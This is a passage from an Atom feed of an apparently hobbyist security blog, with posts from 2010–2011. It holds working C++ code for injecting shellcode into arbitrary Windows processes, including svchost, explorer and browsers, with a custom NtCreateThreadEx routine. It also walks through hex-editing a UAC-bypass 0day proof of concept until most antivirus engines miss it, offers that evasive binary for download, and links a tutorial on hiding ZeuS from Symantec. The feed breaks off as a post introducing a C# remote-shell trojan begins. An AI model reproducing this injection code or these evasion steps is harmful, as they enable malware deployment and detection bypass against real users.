<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;A0MCRXs_eyp7ImA9WhRVFU8.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652</id><updated>2012-01-14T00:24:24.543-08:00</updated><category term="trojan analysis" /><category term="POC" /><category term="Python" /><category term="BeautifulSoup" /><category term="remove trojan" /><category term="c# trojan" /><category term="obfuscation" /><category term="0day" /><category term="steal bank credentials" /><category term="backdoor" /><category term="NtCreateThreadEx" /><category term="tutorial" /><category term="bypass signature" /><category term="automatic SQL injection" /><category term="Multinjector" /><category term="shellcode injection" /><category term="open source" /><category term="signature detection" /><category term="SQL injection" /><category term="application security" /><category term="Symantec bypass" /><category term="Win7 process injection" /><category term="console" /><category term="thread injection" /><category term="Joomla" /><category term="zeus" /><category term="shell" /><category term="analysis" /><category term="HTML parser" /><category term="web scraper" /><category term="Javascript Trojan" /><category term="process injection" /><category term="bypass AV" /><category term="dos" /><category term="code obfuscation" /><category term="Trojan" /><category term="vista process injection" /><category term="UAC bypass" /><category term="cmd" /><category term="bypass" /><category term="c++" /><category term="anti-virus" /><category term="Zbot bypass" /><title>First steps into the world of application security</title><subtitle type="html">Security research &amp;amp; tools development</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://noobys-journey.blogspot.com/" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/FirstStepsIntoTheWorldOfWebApplicationSecurity" /><feedburner:info uri="firststepsintotheworldofwebapplicationsecurity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CkUBSH45fSp7ImA9Wx9XFEQ.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-5533569448476926347</id><published>2011-01-08T04:34:00.000-08:00</published><updated>2011-01-08T04:37:39.025-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-08T04:37:39.025-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="bypass signature" /><category scheme="http://www.blogger.com/atom/ns#" term="Zbot bypass" /><category scheme="http://www.blogger.com/atom/ns#" term="bypass" /><category scheme="http://www.blogger.com/atom/ns#" term="anti-virus" /><category scheme="http://www.blogger.com/atom/ns#" term="zeus" /><category scheme="http://www.blogger.com/atom/ns#" term="Symantec bypass" /><category scheme="http://www.blogger.com/atom/ns#" term="signature detection" /><category scheme="http://www.blogger.com/atom/ns#" term="tutorial" /><title>Bypass Signature-Based Detection Tutorial (Hebrew)</title><content type="html">A tutorial I wrote on bypassing AV signature-based detection was published in a Israeli information security magazine called Digital Whisper. In this tutorial I demonstrate several techniques to bypass signature-based malware detection, and as a bonus demonstrate these techniques to bypass Symantec AV from detecting ZBot (Zeus worm).&lt;br /&gt;
The PDF version of the tutorial can be downloaded from here:&lt;br /&gt;
&lt;a href="http://www.digitalwhisper.co.il/files/Zines/0x10/DW16-2-SignatureDetectionBypass.pdf"&gt;http://www.digitalwhisper.co.il/files/Zines/0x10/DW16-2-SignatureDetectionBypass.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-5533569448476926347?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yfd0A68MchwSYjmYWOQKgU6Mj88/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yfd0A68MchwSYjmYWOQKgU6Mj88/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yfd0A68MchwSYjmYWOQKgU6Mj88/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yfd0A68MchwSYjmYWOQKgU6Mj88/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/aDSrUfiOo2A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/5533569448476926347/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2011/01/bypass-signature-based-detection.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/5533569448476926347?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/5533569448476926347?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/aDSrUfiOo2A/bypass-signature-based-detection.html" title="Bypass Signature-Based Detection Tutorial (Hebrew)" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><thr:total>1</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2011/01/bypass-signature-based-detection.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYERXg_fip7ImA9Wx9SEk8.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-4479680031591108538</id><published>2010-12-01T08:15:00.000-08:00</published><updated>2010-12-01T08:15:04.646-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-01T08:15:04.646-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="bypass signature" /><category scheme="http://www.blogger.com/atom/ns#" term="UAC bypass" /><category scheme="http://www.blogger.com/atom/ns#" term="POC" /><category scheme="http://www.blogger.com/atom/ns#" term="bypass AV" /><category scheme="http://www.blogger.com/atom/ns#" term="0day" /><title>The ineffectiveness of AV demonstrated on the new UAC 0day POC file</title><content type="html">A few days ago, a POC of the UAC bypass 0day was &lt;a href="http://www.exploit-db.com/sploits/uacpoc.zip"&gt;published&lt;/a&gt;. The Zip file downloaded contained an exe file and its source code. Shortly after, my AV (Nod32) alerted regarding a malicious file found on my machine (Win32/Exploit.Agent.NAB), and pointed to the POC exe file I just downloaded. From viewing the source code it was obvious that this file was not malicious, and yet when uploaded to VirusTotal for analysing this file it got detected by 35 out of 43 AVs:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_rNjDLITw7fI/TPZs-p51IPI/AAAAAAAAABw/OzF6qWhxPTo/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_rNjDLITw7fI/TPZs-p51IPI/AAAAAAAAABw/OzF6qWhxPTo/s1600/1.jpg" width="460" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
I decided to play a bit with the binary data and see what happens... :)&lt;br /&gt;
My method of changing the signature, so it would be undetected by AVs was to find the part in the binary which triggers the AV (the signature block) and replace hex values of 0x00 (NULL) with 0x90 (NOP) values. And so I opened a hex editor and copied shellcode parts from the binary to a separate file and uploaded it to VirusTotal until I found the part which triggered most of the AVs. After replacing the NULLs with NOPs, I verified that the file is still being executed and working and uploaded it to VirusTotal again. Only this time:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_rNjDLITw7fI/TPZqqyn69EI/AAAAAAAAABs/4uDrlCoCY-8/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_rNjDLITw7fI/TPZqqyn69EI/AAAAAAAAABs/4uDrlCoCY-8/s1600/2.jpg" width="460" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The file was only detected by 2 AVs which one of them was Nod32. A strange thing, because even after updating Nod32 on my machine to the latest signature DB version, I still don't get any alert for executing the file. So it basically got detected only by one AV, called DrWeb, which I'm not familiar with. Oh well...&lt;br /&gt;
You can download the undetected (until it will also get signed) POC file from &lt;a href="http://www.mediafire.com/?sid0m0mfn0ucbj0"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
-Hertz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-4479680031591108538?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hS7DRB_NqnFh8335-N-QRmkq_cs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hS7DRB_NqnFh8335-N-QRmkq_cs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hS7DRB_NqnFh8335-N-QRmkq_cs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hS7DRB_NqnFh8335-N-QRmkq_cs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/t33J5nYQR9s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/4479680031591108538/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/12/ineffectiveness-of-av-demonstrated-on.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/4479680031591108538?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/4479680031591108538?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/t33J5nYQR9s/ineffectiveness-of-av-demonstrated-on.html" title="The ineffectiveness of AV demonstrated on the new UAC 0day POC file" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_rNjDLITw7fI/TPZs-p51IPI/AAAAAAAAABw/OzF6qWhxPTo/s72-c/1.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/12/ineffectiveness-of-av-demonstrated-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQCQns9fSp7ImA9Wx9TFUQ.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-7313964039153538178</id><published>2010-11-14T00:14:00.000-08:00</published><updated>2010-11-24T02:09:23.565-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-24T02:09:23.565-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="c++" /><category scheme="http://www.blogger.com/atom/ns#" term="Win7 process injection" /><category scheme="http://www.blogger.com/atom/ns#" term="process injection" /><category scheme="http://www.blogger.com/atom/ns#" term="shellcode injection" /><category scheme="http://www.blogger.com/atom/ns#" term="NtCreateThreadEx" /><category scheme="http://www.blogger.com/atom/ns#" term="vista process injection" /><category scheme="http://www.blogger.com/atom/ns#" term="thread injection" /><title>Injecting shellcode into XP/Vista/7 process using C++</title><content type="html">In this post I will present a tool I created for injecting shellcode into any process in the system (even privileged once if you have admin permissions). This tool only uses WinAPI functions and should work on any Windows platform and without any dependency.&lt;br /&gt;
Let's begin:&lt;br /&gt;
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.&lt;br /&gt;
&lt;code&gt;code:&lt;/code&gt;&lt;br /&gt;
&lt;pre class="c" name="code"&gt;int CheckOSVersion(void)
{
 /* 
 * Windows XP = 1 (NT 5.0)
 * Windows Vista = 2 (NT 6.0)
 * Windows 7 = 3 (NT 6.1)
 */
 OSVERSIONINFO osver;
 osver.dwOSVersionInfoSize = sizeof(osver);
 if (GetVersionEx(&amp;amp;osver))
 { 
  if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT))  
   return 0;
  if (osver.dwMajorVersion == 5)
   return 1;
  if (osver.dwMajorVersion == 6 &amp;amp;&amp;amp; osver.dwMinorVersion == 0)
   return 2;
  if (osver.dwMajorVersion == 6 &amp;amp;&amp;amp; osver.dwMinorVersion == 1)     
   return 3;  
 }
 else
  return 0;
}
&lt;/pre&gt;&lt;br /&gt;
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:&lt;br /&gt;
&lt;pre class="c" name="code"&gt;bool is64bit; 
 // get system architecture
 if(sizeof(void*) == 4)
  is64bit = false; // 32bit
 else
  is64bit = true; // 64bit
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.&lt;br /&gt;
One way to achieve this is by using &lt;a href="http://msdn.microsoft.com/en-us/library/ms682489(VS.85).aspx"&gt;CreateToolhelp32Snapshot&lt;/a&gt; function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be &lt;a href="http://msdn.microsoft.com/en-us/library/ms684839(VS.85).aspx"&gt;PROCESSENTRY32&lt;/a&gt; and the functions we use to iterate through the processes would be &lt;a href="http://msdn.microsoft.com/en-us/library/ms684834(VS.85).aspx"&gt;Process32First&lt;/a&gt; and &lt;a href="http://msdn.microsoft.com/en-us/library/ms684836(VS.85).aspx"&gt;Process32Next&lt;/a&gt;&lt;br /&gt;
&lt;code&gt;Code:&lt;/code&gt;&lt;br /&gt;
&lt;pre class="c" name="code"&gt;PROCESSENTRY32  pe32 = { sizeof( PROCESSENTRY32 ) };
 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

 if( hSnapshot == INVALID_HANDLE_VALUE )
  return 0;

 if( ! Process32First( hSnapshot, &amp;amp;pe32 ) ) {
  CloseHandle( hSnapshot );
  return 0;
 }

 do {
  if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){
   // The injection function is called from here...
  }
 } while( Process32Next( hSnapshot, &amp;amp;pe32 ) );
&lt;/pre&gt;&lt;br /&gt;
Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.&lt;br /&gt;
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use &lt;a href="http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx"&gt;OpenProcess&lt;/a&gt;. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using &lt;a href="http://msdn.microsoft.com/en-us/library/aa366890(VS.85).aspx"&gt;VirtualAllocEx&lt;/a&gt;, writing the shellcode into the memory space we allocated using &lt;a href="http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx"&gt;WriteProcessMemory&lt;/a&gt; and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it. &lt;br /&gt;
&lt;code&gt;code:&lt;/code&gt;&lt;br /&gt;
&lt;pre class="c" name="code"&gt;bool InjectCode( DWORD dwProcId, int os )
{
 //open process with proper access permissions
 HANDLE hHandle = NULL;
 if (os &amp;lt; 2)
  //good for Windows XP and older
  hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId ); 
 else
  //good for Windows 7 and Vista (not tested on XP or older)
  hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId );
 
 //check if OpenProcess succeeded
 if( hHandle == INVALID_HANDLE_VALUE )
  return false;

 //allocate memory for our shellcode in the desired process's address space
 LPVOID lpShellcode = NULL;
 //choose the shellcode which suits the environment
 if (os &amp;lt; 2)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else if (os &amp;lt; 4)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 
 //check if VirtualAllocEx succeeded
 if( lpShellcode == NULL) {
  CloseHandle( hHandle );
  return false;
 }

 // write the shellcode into the allocated memory space
 if (os &amp;lt; 2)
  WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 );
 else if (os &amp;lt; 4)
  WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 );
 else
  WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 );

 // create a thread which will execute our shellcode
 HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 );
 if( hThread == NULL ) {
  CloseHandle( hHandle );
  return false;
 }
 return true;
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;MyCreateRemoteThread&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;code:&lt;/code&gt;&lt;br /&gt;
&lt;pre class="c" name="code"&gt;HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx")) 
 { 
  return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback); 
 } 

 else 
 { 
  return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0); 
 } 

 return NULL; 
}
&lt;/pre&gt;The reason I'm using &lt;a href="http://msdn.microsoft.com/en-us/library/ms682437(VS.85).aspx"&gt;CreateRemoteThread&lt;/a&gt; and NtCreateThreadEx is that CreateRemoteThread not always works on Windows Vista and 7 (because of some &lt;a href="http://www.microsoft.com/whdc/system/sysinternals/session0changes.mspx"&gt;changes&lt;/a&gt; made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NtCreateThreadEx&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;code:&lt;/code&gt;&lt;br /&gt;
&lt;pre class="c" name="code"&gt;HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 typedef struct 
 { 
  ULONG Length; 
  ULONG Unknown1; 
  ULONG Unknown2; 
  PULONG Unknown3; 
  ULONG Unknown4; 
  ULONG Unknown5; 
  ULONG Unknown6; 
  PULONG Unknown7; 
  ULONG Unknown8; 

 } UNKNOWN; 

 typedef DWORD WINAPI NtCreateThreadEx_PROC( 
  PHANDLE ThreadHandle, 
  ACCESS_MASK DesiredAccess, 
  LPVOID ObjectAttributes, 
  HANDLE ProcessHandle, 
  LPTHREAD_START_ROUTINE lpStartAddress, 
  LPVOID lpParameter, 
  BOOL CreateSuspended, 
  DWORD dwStackSize, 
  DWORD Unknown1, 
  DWORD Unknown2, 
  LPVOID Unknown3 
  ); 

 UNKNOWN Buffer; 
 DWORD dw0 = 0; 
 DWORD dw1 = 0; 
 memset(&amp;amp;Buffer, 0, sizeof(UNKNOWN)); 

 Buffer.Length = sizeof (UNKNOWN); 
 Buffer.Unknown1 = 0x10003; 
 Buffer.Unknown2 = 0x8; 
 Buffer.Unknown3 = &amp;amp;dw1; 
 Buffer.Unknown4 = 0; 
 Buffer.Unknown5 = 0x10004; 
 Buffer.Unknown6 = 4; 
 Buffer.Unknown7 = &amp;amp;dw0; 

 NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 

 if(VistaCreateThread == NULL) 
  return NULL; 

 HANDLE hRemoteThread = NULL; 
 HRESULT hRes = 0; 

 if(!SUCCEEDED(hRes = VistaCreateThread( 
  &amp;amp;hRemoteThread, 
  0x1FFFFF, // all access 
  NULL, 
  hProcess, 
  (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, 
  lpRemoteCallback, 
  FALSE, 
  NULL, 
  NULL, 
  NULL, 
  &amp;amp;Buffer 
  ))) 
 { 
  return NULL; 
 } 

 return hRemoteThread; 
} 
&lt;/pre&gt;&lt;br /&gt;
That's about it. You can download the VS 2008 project files from &lt;a href="http://www.mediafire.com/?m48mbba4wpzcseq"&gt;here&lt;/a&gt; and the injector exe file from &lt;a href="http://www.mediafire.com/?b9ohfzxkv0vbu49"&gt;here&lt;/a&gt;.&lt;br /&gt;
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.&lt;br /&gt;
&lt;br /&gt;
Hope you'll find this information usefull.&lt;br /&gt;
Cheers,&lt;br /&gt;
-Herzel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-7313964039153538178?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Pb6BJ0LA_YuCxqI7ap3aVrk3kc0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pb6BJ0LA_YuCxqI7ap3aVrk3kc0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Pb6BJ0LA_YuCxqI7ap3aVrk3kc0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pb6BJ0LA_YuCxqI7ap3aVrk3kc0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/0vVairRyBr4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/7313964039153538178/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/11/injecting-shellcode-into-xpvista7.html#comment-form" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/7313964039153538178?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/7313964039153538178?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/0vVairRyBr4/injecting-shellcode-into-xpvista7.html" title="Injecting shellcode into XP/Vista/7 process using C++" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><thr:total>8</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/11/injecting-shellcode-into-xpvista7.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0AHQ3Y7eSp7ImA9WxFXE0U.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-4681295488998708197</id><published>2010-05-20T13:48:00.000-07:00</published><updated>2010-05-20T14:08:52.801-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-20T14:08:52.801-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SQL injection" /><category scheme="http://www.blogger.com/atom/ns#" term="Multinjector" /><category scheme="http://www.blogger.com/atom/ns#" term="automatic SQL injection" /><title>Automatic SQL injection tool update</title><content type="html">Hi folks! This is an update about the automatic SQL injection tool I started developing.&lt;br /&gt;
My first intention was to develop a &lt;u&gt;simple&lt;/u&gt; automatic injection tool, then when I started developing it I found it to be far from simple. That is why I decided to join forces with my colleague Raviv Raz who previously developed &lt;a href="http://code.google.com/p/multinjector"&gt;Multinjector&lt;/a&gt;. We intend to greatly improve and extend its functionality. You can read all about it at Raviv's &lt;a href="http://chaptersinwebsecurity.blogspot.com/"&gt;blog&lt;/a&gt;. Updates and code reviews will be posted by me later on.&lt;br /&gt;
&lt;br /&gt;
Have a good weekend,&lt;br /&gt;
-Herzel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-4681295488998708197?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SCVx5SHEfizo020HDzJfYei7OOc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SCVx5SHEfizo020HDzJfYei7OOc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SCVx5SHEfizo020HDzJfYei7OOc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SCVx5SHEfizo020HDzJfYei7OOc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/2hkfuHhlPEo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/4681295488998708197/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/05/automatic-sql-injection-tool-update.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/4681295488998708197?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/4681295488998708197?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/2hkfuHhlPEo/automatic-sql-injection-tool-update.html" title="Automatic SQL injection tool update" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/05/automatic-sql-injection-tool-update.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYBSXw4fyp7ImA9WxFRGUQ.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-3473350659534407949</id><published>2010-05-01T14:46:00.000-07:00</published><updated>2010-05-04T11:02:38.237-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-04T11:02:38.237-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="backdoor" /><category scheme="http://www.blogger.com/atom/ns#" term="dos" /><category scheme="http://www.blogger.com/atom/ns#" term="cmd" /><category scheme="http://www.blogger.com/atom/ns#" term="c# trojan" /><category scheme="http://www.blogger.com/atom/ns#" term="shell" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojan" /><category scheme="http://www.blogger.com/atom/ns#" term="console" /><title>My own C# trojan - remote shell command execution</title><content type="html">In this post I will present you a simple "shell" I created using c#.NET.&lt;br /&gt;
The trojan runs in the background, opens a listening port on the machine running it and allows any connected client to execute remote shell commands.&lt;br /&gt;
This application is for educational purposes only (mostly my own).&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
how to use it?&lt;/b&gt;&lt;br /&gt;
